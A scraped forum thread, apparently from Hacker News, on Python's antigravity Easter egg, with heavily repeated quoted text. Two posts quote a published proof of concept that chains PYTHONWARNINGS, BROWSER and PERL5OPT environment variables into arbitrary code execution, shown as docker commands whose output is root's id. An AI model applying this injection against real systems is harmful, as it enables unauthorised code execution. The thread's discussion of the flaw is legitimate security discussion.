TIL python has a webbrowser module
But not a texteditor. You can use this library for that: https://pypi.org/project/texteditor/ (Disclaimer: I’m the author)
Antigravity.py (2020)
21–30 of 48 posts
Re: Antigravity.py (2020)
#22This looked innocuous at first glance, but this "antigravity" Easter egg has been found to have security implications. See "Hacking with Environment Variables", which specifically exploits the antigravity module for arbitrary code execution - https://www.elttam.com/blog/env/#content Previous HN comments: https://news.ycombinator.com/item?id=23828045
Remember: you have control over only the environment variables, and you do not have the ability to alter the arguments. In order for this to represent arbitrary code execution, you need for the system to have an executable on it that, when executed with the argument "https://xkcd.com/353/", grants you arbitrary code execution.
So, you have full control over the environment variables, and that's it. How do you turn effectively
[binary] "https://xkcd.com/353/"
into arbitrary code execution, where [binary] is an executable already on the machine?Re: Antigravity.py (2020)
#23Earlier quoted context omitted.
But not a texteditor. You can use this library for that: https://pypi.org/project/texteditor/ (Disclaimer: I’m the author)
Idle
Re: Antigravity.py (2020)
#24I get a type error in line 13 running the code: TypeError: openssl_md5() takes no keyword arguments
> Changed in version 3.9: All hashlib constructors take a keyword-only argument usedforsecurity...
Re: Antigravity.py (2020)
#25This looked innocuous at first glance, but this "antigravity" Easter egg has been found to have security implications. See "Hacking with Environment Variables", which specifically exploits the antigravity module for arbitrary code execution - https://www.elttam.com/blog/env/#content Previous HN comments: https://news.ycombinator.com/item?id=23828045
I'm unconvinced. "The ability to turn this into arbitrary code execution depends on what other executables are available on the system" is doing a LOT of heavy lifting here. Remember: you have control over only the environment variables, and you do not have the ability to alter the arguments. In order for this to represent arbitrary code execution, you need for the system to have an executable on it that, when execut…
$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'
$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'Re: Antigravity.py (2020)
#26This looked innocuous at first glance, but this "antigravity" Easter egg has been found to have security implications. See "Hacking with Environment Variables", which specifically exploits the antigravity module for arbitrary code execution - https://www.elttam.com/blog/env/#content Previous HN comments: https://news.ycombinator.com/item?id=23828045
I'm unconvinced. "The ability to turn this into arbitrary code execution depends on what other executables are available on the system" is doing a LOT of heavy lifting here. Remember: you have control over only the environment variables, and you do not have the ability to alter the arguments. In order for this to represent arbitrary code execution, you need for the system to have an executable on it that, when execut…
Re: Antigravity.py (2020)
#27https://en.wikipedia.org/wiki/Geohashing
and
official website:
https://geohashing.site/geohashing/Main_Page
oddly the geohash function in the antigravity module prints to the screen rather than returning the values ... seems odd to say the least
Re: Antigravity.py (2020)
#28This looked innocuous at first glance, but this "antigravity" Easter egg has been found to have security implications. See "Hacking with Environment Variables", which specifically exploits the antigravity module for arbitrary code execution - https://www.elttam.com/blog/env/#content Previous HN comments: https://news.ycombinator.com/item?id=23828045
https://git.savannah.nongnu.org/cgit/man-db.git/commit/src/m...
Turns out it was breaking a users automated tests - https://unix.stackexchange.com/questions/405783/why-does-man...
Re: Antigravity.py (2020)
#29Earlier quoted context omitted.
I'm unconvinced. "The ability to turn this into arbitrary code execution depends on what other executables are available on the system" is doing a LOT of heavy lifting here. Remember: you have control over only the environment variables, and you do not have the ability to alter the arguments. In order for this to represent arbitrary code execution, you need for the system to have an executable on it that, when execut…
There is a proof of concept given, "Figure-4: arbitrary code execution achieved using multiple environment variables against Python 2 and Python 3": $ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null uid=0(root) gid=0(root) groups=0(root) Invalid -W option ignored: unknown warning category: 'antigravity.x' $ docker run…
Re: Antigravity.py (2020)
#30This looked innocuous at first glance, but this "antigravity" Easter egg has been found to have security implications. See "Hacking with Environment Variables", which specifically exploits the antigravity module for arbitrary code execution - https://www.elttam.com/blog/env/#content Previous HN comments: https://news.ycombinator.com/item?id=23828045
I'm unconvinced. "The ability to turn this into arbitrary code execution depends on what other executables are available on the system" is doing a LOT of heavy lifting here. Remember: you have control over only the environment variables, and you do not have the ability to alter the arguments. In order for this to represent arbitrary code execution, you need for the system to have an executable on it that, when execut…